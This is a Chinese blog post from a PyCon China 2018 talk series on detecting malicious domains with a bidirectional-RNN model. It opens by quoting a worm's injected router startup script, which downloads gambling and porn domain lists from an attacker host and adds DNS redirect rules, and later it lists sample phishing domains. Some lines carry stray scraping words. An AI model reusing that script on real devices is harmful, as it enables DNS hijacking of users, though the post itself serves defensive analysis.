連載四:PyCon2018|惡意域名檢測實例(附源碼)

第八屆中國Python開發者大會PyConChina2018,由PyChina.org發起,由來自CPyUG/TopGeek等社區的30位組織者,近150位志願者在北京、上海、深圳、杭州、成都等城市舉辦。致力於推進各種Python相關的技術在互聯網、企業應用等領域的研發和應用。
代碼醫生工做室有幸接受邀請,參加了此次會議的北京站專場。在會上主要分享了《人工智能實戰案例分享-圖像處理與數值分析》。
會上分享的一些案例主要是來源於《python帶我起飛——入門、進階、商業實戰》一書與《深度學習之TensorFlow:入門、原理與進階實戰》一書。另外,還擴充了若干其它案例。在本文做爲補充,將會上分享的其它案例以詳細的圖文方式補充進來,並提供源碼。共分爲4期連載。
  1. 用slim調用PNASNet模型html

  2. 用slim微調PNASNet模型python

  3. 用對抗樣本攻擊PNASNet模型git

  4. 惡意域名檢測實例github


路由器蠕蟲觸發的網絡安全人工智能實戰

在10月11日捕獲並處置針對有線電視機頂盒的蠕蟲以後,咱們再次捕獲到針對高端通訊設備的攻擊蠕蟲,被攻擊設備一般具備用戶行爲管控能力(例如:NGFW、UTM、行爲管理、QoS類設備)。該蠕蟲採用相似Mirai的攻擊手法,利用弱口令爆破進入網絡設備,在設備啓動腳本嵌入非法指令,下載域名資源並裝載進設備進行重定向,非法牟利。典型的嵌入攻擊代碼以下,爲避免濫用,咱們對部分關鍵命令作了屏蔽處理。web

#! /bin/sh安全

config dns rmvgrp 16bash

config dns rmvgrp 17網絡

config dns rmvgrp 18app

config dns rmvgrp 19框架

config dns addgrp 17 webwwurl

//下載並裝載涉黃域名

wget http://yuanlinhome.com/kefu.txt

cp kefu.txt /kefu1.txt

wget dns loadfile 17 /kefu1.txt

rm -rf kefu.txt

rm -rf /kefu1.txt

config dns addgrp 18 webwurl

//下載並裝載涉賭域名

wget http://yuanlinhome.com/bc.txt

cp bc.txt /bc1.txt

config dns loadfile 18 /bc1.txt

rm -rf bc.txt

rm -rf /bc1.txt

//重定向域名非法牟利

config dns addrule id=864 inip=any dns=18 outip=any action=reply actarg=101.102.225.211

config dns addrule id=964 inip=any dns=17 outip=any action=reply actarg=101.102.225.209

追蹤其惡意資源網站,發現是註冊解析在DNSPod,並啓用了CDN服務,實際牟利的網址則位於境外。



啓用CDN傳播病毒相關資源已經是常態,詳情可參考天際友盟相關技術文章《CDN校驗漏洞催生海量網絡投毒》。這類網站的最終操縱者,尚未溯源的先例,業界辦法很少。除去處置掉相關蠕蟲配置,封閉可能出問題的網絡設備服務以外,咱們決定對該病毒所加載的病毒資源進行人工智能識別實驗,並開源相關的工程和代碼,以指望提升整個業界的識別水平,對病毒攻擊作出最好的回擊。

文章後續重點探討人工智能在惡意域名檢測中的方法,使用TensorFlow框架實現,採用監督學習的訓練方法。在案例的整個流程中,涵蓋了樣本預處理、Tensorflow通用框架編寫、雙向RNN模型的搭建、詞嵌入技術的應用、及後續優化和升級方案等內容。整個案例的代碼在GITHUB上有公開,其中模型部分的代碼以凍結圖的方式提供。

第1部分 模型的運行

該模型使用雙向RNN技術進行惡意域名檢測。使用了130多萬條域名樣本,其中100多萬是正常域名樣本,30多萬是惡意域名樣本。惡意域名樣原本源於本次病毒攻擊下載的資源文件和天際友盟的威脅情報系統,正常域名樣原本源於正經常使用戶的上網行爲數據。訓練結束後,混合測試集樣本的識別正確率達到99%左右,純負向樣本的正確率達到96%,純正向樣本的正確率達到98%。另外在代碼同步的樣本中,提供了一組待測的數據及處理結果。

1.1 運行方法

(1)將代碼及全部的樣本下載下來。

(2)打開main.py,將第67行設置爲以下;

mode = "pretrain"
複製代碼

直接運行。會生成樣本預處理文件,及字典文件。

(3)再將上面代碼改爲以下:

mode = "evalfreeze"
複製代碼

直接運行。會對數據20171213142927.xls進行域名檢測處理,生成eyn.txt文件。

下面咱們就來詳細介紹下,背後的AI技術。

第2部分 樣本預處理


利用人工智能解決問題的項目都是先從樣本入手。本小節先來分析下手裏拿到的數據,並對其加工處理,生成可使用的樣本。爲後面的工做作好鋪墊。

2.1 樣本介紹

在項目初期,須要先使用少許的數據,作精細化的樣本處理。以便可以給模型一個正確的方向指導。它就彷彿一個學生的啓蒙老師同樣,要爲學生明確一個是非對錯的價值關,因此這部分的工做尤其重要。樣本要儘量的純淨,具備表明性。

這裏先來介紹一下用於處理的第一批原始數據,它一共有4個文件:

  • 111.txt:包含正向和惡意的混合域名;

  • Kefu.txt:包含涉黃域名;

  • bc.txt:包含涉賭域名;

  • domain_malicious.txt:包含其餘未知的惡意域名

2.2 預處理工做

預處理部分主要作三種操做:正負樣本分離、生成字典、樣本轉儲。

2.2.1 正負樣本分離

爲了訓練方便,在樣本預處理階段,會將111.txt中的惡意域名去除,加工成爲正向的域名集合。通過預處理後,獲得的樣本的詳細信息以下:


樣本種類

個數

所在文件

正確域名

1022296

111.txt

涉黃域名

236

kefu.txt

涉賭域名

223491

bc.txt

其餘未知惡意域名

115107

domain_malicious.txt

爲了未來能夠對域名分析更精細化的擴展,例如開篇的圖例所顯示的路徑,會把樣本按照已有的分類放在不一樣的文件夾裏。這樣能夠爲不一樣的樣本打上不一樣的標籤,作更精細化的分類任務。

固然本次實戰案例,只是需分正確的與惡意的域名,因此只會打上兩種標籤:0、1。對於111.txt中剔除惡意的域名以後剩下的部分統一打成0標籤。其他的域名統一打成1標籤。

1. 讀取部分代碼

讀取文檔部分的代碼在preprosample類的load_txt_sample函數中實現,是使用遞歸目錄的方式,按照文件夾來讀取到對應的list中。代碼以下:

def load_txt_sample(self, split='train'):
        '''遞歸。若是是隻有一級。就直接返回。若是是有多級,【根,子目錄1,子目錄2。。。】 讀取txt文件,一行一行的讀,傳入一個目錄,讀取目錄下的每個文件 '''
        print ('loading sample dataset..')

        alldata = []
        for (dirpath, dirnames, filenames) in os.walk(self.sample_dir):#一級一級的文件夾遞歸
            print(dirpath,dirnames,filenames)
            sdata = []
            for filename in filenames:
                filename_path = os.sep.join([dirpath, filename])  
                with open(filename_path, 'rb') as f:  
                    for onedata in f:
                        onedata = onedata.strip(b'\n')
                        try:
                            #print(onedata.decode('gb2312'))#,onedata.decode('gb2312'))'UTF-8'
                            sdata.append(onedata.decode( 'gb2312' ).lower().replace('\r',''))
                        except (UnicodeDecodeError):
                            print("wrong:",onedata.decode)

            alldata.append(sdata)


        print( len(alldata) )
        if len(alldata)>1:
            return alldata
        return sdata
複製代碼

2. 分離樣本代碼

在preprosample類的do_only_sample函數中,使用Python的集合運算方式,實如今混合數據中剔除負樣本的操做。代碼以下:

def do_only_sample(self, alldata):
        '''去重 【【正】【負】【負】】 '''

        alldataset = set(alldata[0] )
        dudataset = set(alldata[1] )  
        huangdataset = set(alldata[2] )  
        otherset = set(alldata[3])
        print(len(alldataset))
        yesdataset = (alldataset-dudataset)-huangdataset
        print(len(yesdataset))
        return list(yesdataset),list(dudataset),list(huangdataset),list(otherset)
複製代碼

2.2.2 生成字符字典

在模型訓練過程當中,須要將樣本都轉成具體的字符向量才能夠進行。因此有必要爲已有的域名建立一個字符字典用於向量映射。所謂的字符字典就是將域名中出現的字符統計起來,每一個不一樣的字符都給與一個對應的惟一編號。

通過處理後,獲得的域名字符對應的字典以下:

['None', 'b', '.', '5', '%', '9', '7', 't', 'p', 'i', 'g', 'e', 'k', 'y', '1', '&', 'w', 'r', ')', '*', 'h', 'c', 'f', '=', ':', 'n', 'u', '4', 'a', '(', '-', 'j', '3', '?', '^', 'z', 'm', 'v', '_', 'x', 'q', '/', '8', 's', '0', 'o', 'd', '2', 'l', '6']

其中的第一個‘None’是額外加入的佔位字符。對與字典中的位置字符能夠統一被影射爲None字符。這樣作能夠防止字典字符覆蓋不全的狀況。

爲了將某個字符映射爲向量,須要將上述的字典作個反向,即,輸入某個字符得到其對應的向量值。處理後的反向字典以下:

{'.': 2, 'w': 16, 'f': 22, '6': 49, '1': 14, 'm': 36, 'r': 17, '3': 32, '5': 3, '_': 38, '0': 44, 'd': 46, '9': 5, '(': 29, '=': 23, '?': 33, 's': 43, 't': 7, 'c': 21, '^': 34, 'b': 1, '/': 41, '*': 19, 'z': 35, ')': 18, 'p': 8, 'g': 10, '%': 4, 'k': 12, 'l': 48, 'q': 40, 'v': 37, 'j': 31, 'x': 39, 'e': 11, 'u': 26, '7': 6, '2': 47, '8': 42, 'n': 25, 'None': 0, 'a': 28, '4': 27, 'o': 45, 'y': 13, ':': 24, 'i': 9, '&': 15, 'h': 20, '-': 30}

利用上述的反向字典,就能夠將具體的字符轉化成向量了。上面的結構是Python中字典類型的對象內容。Key就是某個具體的字符,對應value就是想要獲得的向量。

2.2.3 保存樣本

爲了方便運算,但願程序在訓練模型時,每次的運行只針對預處理後的結果進行訓練。這樣就有必要將原有預處理的結果存起來。這裏會將生成的字典、與正負樣本及其對應的標籤存起來。使用Python中的pickle來實現該步驟的操做。

具體的作法是在preprosample類的save_sample函數中,將數據集分紅兩部分,一部分用於測試集、一部分用於訓練集。分別存儲到plk文件中。

def save_sample(self,sdatasample,slabelsample,maketrain = 1):

        if maketrain == 1:
            lendata = int(len(slabelsample)*0.95)
        else:
            lendata = int(len(slabelsample))

        train = {'X': sdatasample[:lendata],
                 'y': slabelsample[:lendata]}

        test = {'X': sdatasample[lendata:],
                'y': slabelsample[lendata:]}

# if not os.path.exists(self.plk_dir):
# os.mkdir(self.plk_dir)

        # make directory if not exists
        if tf.gfile.Exists(self.plk_dir):
            tf.gfile.DeleteRecursively(self.plk_dir)
        tf.gfile.MakeDirs(self.plk_dir)

        self.save_pickle(train, self.plk_dir+'/train.pkl')
        if maketrain == 1:
            self.save_pickle(test, self.plk_dir+'/test.pkl')
複製代碼


訓練集部分用於模型訓練。而測試集部分用於評估模型的準確度。上面代碼中對調用的保存PLK文件方法也進行了封裝,具體代碼以下:

def save_pickle(self,data, path):
        with open(path, 'wb') as f:
            pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)
            print ('Saved %s..' %path)複製代碼

這麼作的緣由是可讓程序有更好的擴展性,若是想用別的方式來保存預處理結果,直接修改該接口便可。

第3部分 TensorFlow通用框架的編寫

在TensorFlow1.3版本以後,提出了一個估算器框架的概念。使得開發者能夠在完成深度學習程序搭建的過程當中,沒必要要太關心各個環節的組織鏈接工做。大大提高了開發效率。可是因爲封裝得過於到位,對於初學者來說並不透明。爲了案例演示,這裏使用了非估算器結構框架,手動搭建通用處理框架來將各個環節組織起來。

3.1 框架基本代碼結構

組成通用框架的基本代碼結構,共分爲4個文件,具體以下:

  • main.py:爲程序的整體入口;

  • model.py:爲程序的模型文件;

  • prepro.py:爲程序的預處理文件;

  • work.py:爲程序的流程文件

除了main文件,其餘文件都是以類的形式存在,每個類實現幾個具體的獨立功能,例如model單獨存放模型文件,也能夠在其內部實現多種模型,進行訓練比較;prepro負責在main執行前進行數據的預處理工做,將原始數據存儲成具體的可以使用樣本;work則是具體的流程處理操做,根據main下達的訓練、評估、應用指令,來調用模型,同時載入對應的預處理後的數據,完成總體的任務。

3.2 預處理類preprosample

該類能夠看成工具類來使用,預處理部分主要作兩種操做,裏面的方法有:

  • load_cvs_evaldata:從csv文件讀取數據;

  • load_txt_sample:遞歸讀取txt文件的樣本;

  • do_only_sample:樣本去重;

  • make_dictionary:生成字典;

  • ch_to_v:字符轉向量;

  • pad_sequences:樣本對齊的pad操做;

  • load_dic:加載字典;

  • save_sample保存樣本。


3.3 流程處理Work類

主要是針對專項流程方面的處理(好比訓練、測試、應用等),和一些基礎操做(載入樣本):

  • load_pkl_sample:載入樣本;

  • evalfreeze:應用模型;

  • train:訓練模型;

  • test:測試模型。


3.4 模型結構DomainNameModel類

該主要是類放置的訓練模型的網絡結構定義。函數build_model用來實現網絡結構的具體定義。能夠經過輸入不一樣的參數返回不一樣的節點。代碼中給出了freeze參數的實現:將模型文件載入到內存中,返回給work。能夠在work進行模型應用的具體計算。

第4部分 模型搭建

模型搭建的部分,是在動態雙向RNN基礎上使用了詞嵌入技術,即將每一個字符向量轉成64維度的詞嵌入向量做爲輸入,而後經過雙向RNN進行基於域名的正反向特徵提取,最後經過2層全鏈接網絡來完成的。總體結構以下圖所示:

4.1 相關模型參數細節

如上圖所示,按照從下至上,一次介紹相關模型及參數的細節以下:

  • 原始域名字符映射字典的長度爲50;

  • 映射後的向量,通過嵌入詞轉換的維度爲64;

  • 在雙向RNN中,使用了變長序列的處理方式,支持最大序列長度爲256;

  • 雙向RNN的前向與後向採用一樣的結構,一個兩層的RNN網絡,每層RNN由64個GRU單元組成;

  • 雙向RNN的結果輸入到一個16節點組成的全鏈接網絡。

  • 而後,在進入一個2節點組成的全鏈接網絡。

  • 對模型出來的結果進行softmax變換,而且與標籤進行交叉熵運算,得出loss值。

  • 反向傳播使用AdamOptimizer優化器。

  • 學習率爲0.0008。

  • 訓練時採用隨機最小批次方式進行樣本輸入。批次的最大值爲1024。

4.2 須要注意的技術細節

模型部分的代碼是以凍結圖方式提供的。若是本身須要進行編寫及優化,能夠參考下面的關鍵技術部分源碼:

4.2.1 變長雙向RNN的實現

在《深度學習之TensorFlow入門、原理與進階實戰》一書的9.4.2中的第4小節,介紹過變長動態RNN的實現。該方法與變長雙向RNN的實現很是相似。只須要將輸入批次樣本中對應的長度列表一塊兒放入雙向RNN初始化函數裏便可。

4.2.2 雙向RNN接全鏈接網絡的實現

該部分能夠參考《深度學習之TensorFlow入門、原理與進階實戰》一書的9.5語音識別例子中的模型部分。該模型也是使用用了雙向RNN並結合全鏈接網絡進行音字翻譯的。

4.2.3 多層RNN的實現

本案例與《深度學習之TensorFlow入門、原理與進階實戰》一書的語音識別例子惟獨不一樣的是,在語音識別的例子中使用的是單層RNN網絡。若是須要實現多層能夠參考9.4部分的多成RNN例子。

4.3 調優的誤區

能夠注意到上面公佈的參數中,每一層的節點都不是不少。你們都知道,節點個數越多,會提升模型越強的擬合能力。可是在實際應用中,會發現越高的節點個數會使模型在擁有更高的擬合能力基礎上一樣帶有更低的泛化能力。其表現的現象就是在使用對抗樣本訓練時,會使模型抖動的厲害。因此在調優過程當中,千萬不要一味的盲目加大節點。

第5部分 後續的優化及升級方案

本案例僅僅是個拋磚引玉的做用,固然還有不少能夠優化的地方。

5.1 基於現有精度的優化

在詞嵌入部分本案例使用的是隨機初始值,這裏徹底能夠經過載入預訓練好的詞向量模型,讓現有模型獲取更爲準確的語義特徵。具體作法是使用CBOW或skip-gram模型,對現有域名的字符間關係進行分析。基於分析後的語義在進行詞嵌入的映射,會比原有模型的效果更好。

5.2 基於模型結構的優化

該應用還能夠是使用半監督式訓練方法進行模型的訓練,生成式對抗神經網絡應當是首選。因爲應對與仿照正規網站的欺騙類型惡意域名,由於它符合正樣本惟一,負樣本隨機的特徵。生成式對抗神經網絡具備強大的樣本特徵擬合功能,可使咱們獲得更爲精確的判別器網絡。可是其訓練的關節相對複雜,比其餘網絡更難於訓練,這是目前的困難所在,也是後續的研究方向。

5.3 基於案例應用的優化

對於惡意域名檢測案例的應用來說,這只是個開端,距離商用還有不少細分工做要作。由於惡意域名的形式遠不止文章中提到的黃、賭之類的類型。若想將域名識別的更爲精確必需要將域名按照細分類別單獨處理纔是。

例如:像下列這種DUBO的惡意域名,特徵就比較明顯。單純從域名字符形態上就能夠進行區分。若使用AI技術單獨用於該類識別,準確率就會很是的高。

0000002.com
000000cf.com
000000.com
0000036.com
00000378.com
00000.am
00000hg.com
00000hm.com
00000jsc.com
00000k9.com
00000msc.com
00000s8s.com
00000tb.com
00000vn.com複製代碼

而對於下面這種具備必定語義的涉黃域名,則須要模型對其語義進行理解和區分。使用具備理解語義的模型對其專門訓練便可獲得很好的效果。

chat.l8servicedreamofcity.com
happypussygames.com
chat.l8serviceqy8.com
chat.l8serviceuqu.com
badasianpussy.com
livechat-d88.com
livechatinc.com複製代碼

若是將上面兩種狀況放在一塊兒區分,就是本篇文章的模型。可是它缺乏通用性,例如對於欺騙類的域名,假冒網站的域名識別就是該模型沒法勝任的事情。

apple-info.net
apple-inportant.com
apple-itunes.serverhost.com
apple-login-account.ga
apple-mac911.onlinesoftwaresollutionhelpdesk.info
apple.g2live.net
apple-refund-id38303910.cf
apple-refund-id38303911.cf
apple-refund-id389401310.cf複製代碼

上面列出的都是惡意域名。是仿照蘋果官網的網站作的釣魚網站域名。正常的域名以下:

Apple.com
Itunes.com複製代碼

模型在處理這個問題時,就會出現抖動。由於模型雖然可以學到裏面的語義,但也沒法判斷其爲惡意仍是正常。相似這種狀況的欺騙網站,還有不少,好比仿照各大銀行的網站、金融交易網站等。對於這類問題就不能與前面的通常惡意域名檢測問題放在一塊兒處理。必須得分開,進行單獨的樣本收集,訓練。可使用傳統的黑白名單方式、也能夠升級現有的網絡模型,使其適應更多樣變化的特徵,例如使用對抗網絡模型等。

參考:

1.本案例代碼與資源下載網址:

https://github.com/jinhong0427/domain_malicious_detection

2.CDN校驗漏洞催生海量網絡投毒:

http://www.freebuf.com/news/139358.html

3.變長雙向RNN的正確使用姿式:
http://blog.csdn.net/lijin6249/article/details/78955175

4.IP地址溯源:

https://www.ipip.net/

5.天際友盟威脅情報平臺:

https://redqueen.sec-un.com/

致謝:

感謝感謝派網軟件提供安全方向技術支持。

1.CNCERT

2.烽火臺安全威脅情報聯盟


【更多精彩】:關注公衆號: xiangyuejiqiren


若是以爲本文有用,能夠分享給更多小夥伴。

相關文章
相關標籤/搜索